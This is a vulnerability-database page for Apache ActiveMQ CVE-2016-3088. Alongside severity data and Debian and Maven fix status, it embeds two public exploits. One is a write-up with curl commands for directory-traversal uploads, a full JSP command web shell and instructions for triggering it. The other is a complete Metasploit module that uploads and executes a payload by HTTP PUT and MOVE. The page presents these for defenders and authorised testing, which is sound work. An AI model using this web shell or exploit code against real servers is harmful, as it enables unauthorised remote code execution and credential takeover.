CVE-2016-3088

unknown KEV
Published 2022-05-14 ยท Modified 2022-02-10
CVSS v3
โ€”
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
2.5

Description

The Fileserver web application in Apache ActiveMQ allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request

CISA KEV

Vendor
Apache
Product
ActiveMQ
Due date
2022-08-10

Predictions

Exploit likelihood
99%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-40857 remote windows verified text ยท 3 KB
David Jorm ยท 2015-08-17

Apache ActiveMQ 5.11.1/5.13.2 - Directory Traversal / Command Execution

text exploit Source: Exploit-DB
I have recently been playing with Apache ActiveMQ, and came across a simple but interesting directory traversal flaw in the fileserver upload/download functionality. 
I have only been able to reproduce this on Windows, i.e. where "\" is a path delimiter. 
An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution.

Exploiting Windows systems to achieve RCE The default conf/jetty.xml includes:
 <bean class="org.eclipse.jetty.security.ConstraintMapping" id="securityConstraintMapping">  
     <property name="constraint" ref="securityConstraint">  
     <property name="pathSpec" value="/api/*,/admin/*,*.jsp">  
   </property></property>  
 </bean>  
Effectively blocking the upload of JSP files into contexts that will allow them to execute. 

I imagine there are many ways around this; for my proof of concept I opted to overwrite conf/jetty-realm.properties and set my own credentials:

$ cat jetty-realm.properties hacker: hacker, admin
$ curl -v -X PUT --data "@jetty-realm.properties" http://TARGET:8161/fileserver/..\\conf\\jetty-realm.properties

This seems to have the disadvantage of requiring a reboot of the server to take effect. 
I am not sure if that is always the case, but if so, I'm pretty sure there is some other workaround that wouldn't require a reboot. 
The attacker can then take a standard JSP shell:

$ cat cmd.jsp 
 <%@ page import="java.util.*,java.io.*"%>  
 <%  
 %>  
 <HTML><BODY>  
 Commands with JSP  
 <FORM METHOD="GET" NAME="myform" ACTION="">  
 <INPUT TYPE="text" NAME="cmd">  
 <INPUT TYPE="submit" VALUE="Send">  
 </FORM>  
 <pre>  
 <%  
 if (request.getParameter("cmd") != null) {  
 out.println("Command: " + request.getParameter("cmd") + "<BR>");  
 Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));  
 OutputStream os = p.getOutputStream();  
 InputStream in = p.getInputStream();  
 DataInputStream dis = new DataInputStream(in);  
 String disr = dis.readLine();  
 while ( disr != null ) {  
 out.println(disr);  
 disr = dis.readLine();  
 }  
 }  
 %>  
 </pre>  
 </BODY></HTML>  

Upload it, exploiting the "..\" directory traversal flaw to put it into an executable context:

$ curl -u 'hacker:hacker' -v -X PUT --data "@cmd.jsp" http://TARGET:8161/fileserver/..\\admin\\cmd.jsp

And pop a calc on the server:

$ curl -u 'hacker:hacker' -v -X GET http://TARGET:8161/admin/cmd.jsp?cmd=calc.exe

Exploiting non-Windows servers

All attempts at directory traversal on a Linux system failed - encoded, double encoded, and UTF-8 encoded "../" were all caught by Jetty. Only "..\" worked. 
That said, clients can specify the uploadUrl for a blob transfer, e.g.:

tcp://localhost:61616?jms.blobTransferPolicy.uploadUrl=http://foo.com

An attacker able to enqueue messages could use this to perform server side request forgery to an arbitrary uploadUrl target, even when running on non-Windows servers.

Resolution

The ActiveMQ project has released an advisory and patches. 
This is not the first instance of such a flaw in an open source Java application; CVE-2014-7816 comes to mind. 
It demonstrates that while Java may be platform independent, many developers are used to developing for a particular OS, and don't necessarily take cross-platform concerns into account.
EDB-42283 remote java verified ruby ยท 5 KB
Metasploit ยท 2017-06-29

ActiveMQ < 5.14.0 - Web Shell Upload (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'ActiveMQ web shell upload',
      'Description' => %q(
        The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
        allows remote attackers to upload and execute arbitrary files via an
        HTTP PUT followed by an HTTP MOVE request.
      ),
      'Author'      => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2016-3088' ],
          [ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]
        ],
      'Privileged'  => true,
      'Platform'    => %w{ java linux win },
      'Targets'     =>
        [
          [ 'Java Universal',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA
            }
          ],
          [ 'Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Windows',
             {
               'Platform' => 'win',
               'Arch' => ARCH_X86
             }
           ]
        ],
      'DisclosureDate' => "Jun 01 2016",
      'DefaultTarget'  => 0))
    register_options(
      [
        OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),
        OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),
        OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),
        Opt::RPORT(8161)
      ])
    register_advanced_options(
      [
        OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])
      ])
  end

  def jsp_text(payload_name)
    %{
    <%@ page import="java.io.*"
    %><%@ page import="java.net.*"
    %><%
    URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});
    Class c = cl.loadClass("metasploit.Payload");
    c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
    %>}
  end

  def exploit
    jar_payload = payload.encoded_jar.pack
    payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))
    host = "#{datastore['RHOST']}:#{datastore['RPORT']}"
    @url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"
    paths = get_upload_paths
    paths.each do |path|
      if try_upload(path, jar_payload, payload_name)
        break handler if trigger_payload(payload_name)
        print_error('Unable to trigger payload')
      end
    end
  end

  def try_upload(path, jar_payload, payload_name)
    ['.jar', '.jsp'].each do |ext|
      file_name = payload_name + ext
      data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
      move_headers = { 'Destination' => "#{@url}#{path}#{file_name}" }
      upload_uri = normalize_uri('fileserver', file_name)
      print_status("Uploading #{move_headers['Destination']}")
      register_files_for_cleanup "#{path}#{file_name}" if datastore['AutoCleanup'].casecmp('true')
      return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
                              send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
      @trigger_resource = /webapps(.*)/.match(path)[1]
    end
    true
  end

  def get_upload_paths
    base_path = "#{get_install_path}/webapps"
    custom_path = datastore['UploadPath']
    return [normalize_uri(base_path, custom_path)] unless custom_path.nil?
    [ "#{base_path}/api/", "#{base_path}/admin/" ]
  end

  def get_install_path
    properties_page = send_request('GET', "#{@url}/admin/test/systemProperties.jsp").body
    match = properties_page.tr("\n", '@').match(/activemq\.home<\/td>@\s*<td>([^@]+)<\/td>/)
    return match[1] unless match.nil?
  end

  def send_request(method, uri, expected_response = 200, opts = {})
    opts['headers'] ||= {}
    opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])
    opts['headers']['Connection'] = 'close'
    r = send_request_cgi(
      {
        'method'  => method,
        'uri'     => uri
      }.merge(opts)
    )
    return false if r.nil? || expected_response != r.code.to_i
    r
  end

  def trigger_payload(payload_name)
    send_request('POST', @url + @trigger_resource + payload_name + '.jsp')
  end

  def error_out
    print_error('Upload failed')
    @trigger_resource = nil
    false
  end
end

Metasploit modules

ActiveMQ web shell upload
Source fetch failed: fetch_error โ€” view the original via the link above.

OS impact

debian Debian Fixed 4 releases
VersionStatusFixed in
trixie Fixed 5.14.0+dfsg-1
sid Fixed 5.14.0+dfsg-1
bullseye Fixed 5.14.0+dfsg-1
bookworm Fixed 5.14.0+dfsg-1

Package impact

EcosystemPackageVulnerableFixed
java Mavenorg.apache.activemq:activemq-client>=5.0.0,<5.14.05.14.0

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.